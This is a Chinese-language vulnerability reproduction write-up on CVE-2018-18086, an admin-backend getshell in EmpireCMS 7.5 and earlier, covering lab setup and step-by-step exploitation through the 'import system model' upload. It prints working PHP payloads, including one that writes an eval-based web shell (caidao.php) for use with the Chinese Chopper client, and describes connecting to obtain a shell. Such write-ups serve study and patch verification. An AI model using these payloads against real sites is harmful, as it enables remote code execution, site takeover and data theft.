帝國CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)
一、漏洞描述
EmpireCMS 7.5版本及之前版本在后台備份數據庫時,未對數據庫表名做驗證,通過修改數據庫表名可以實現任意代碼執行。EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函數存在安全漏洞,攻擊者可利用該漏洞上傳任意文件。
二、影響版本
EmpireCMS<=7.5
三、環境搭建
1、官方下載EmpireCMS V7.5 下載地址:http://www.phome.net/download/
2、把下載的文件中的upload下的所有目錄和文件放入到網站根目錄下
3、修改php.ini配置文件, PHP環境中必須開啟短標簽,不然安裝會提示無法安裝
4、設置php.ini中 short_open_tag = On,重啟phpstudy
5、然后開始安裝,安裝過程參考: https://jingyan.baidu.com/article/48b37f8dcc014b1a6564887c.html
四、漏洞復現
1、查看/e/admin/ecmsmod.php代碼
2、跟隨LoadInMod函數來到/e/class/moddofun.php,可以看到上傳文件處使用make_password(10)對時間進行加密然后拼接成為上傳的文件名,這樣就無法得到用戶名
3、繼續瀏覽代碼,在下面發現@include($path),直接包含了這個上傳的文件,這時如果在上傳文件中添加可以創建文件的代碼就可以繞過找不到文件名這個限制了。
4、我們可以構造如下payload:
<?php file_put_contents(“shell.php”,”<?php phpinfo(); ?>”); ?>
5、登錄后台,點擊如下圖所示
6、點擊”導入系統模型”之后進入如下界面
7、可以上傳一個內容為php代碼的”.mod”后綴的文件,內容如下:
8、上傳1.php.mod文件
9、查看文件,可以看到成功上傳
10、瀏覽訪問http://192.168.10.171/empirecms/e/admin/shell.php,可以看到成功執行代碼
11、上傳一個內容可以getshell的1.php.mod,內容入下:注意需要對$進行轉義
<?php file_put_contents("caidao.php","<?php @eval(\$_POST[cmd]); ?>");?>
12、成功上傳后,菜刀連接,成功getshell
------------------------------------------------------------------------------------------
參考: https://github.com/SukaraLin/php_code_audit_project/issues/1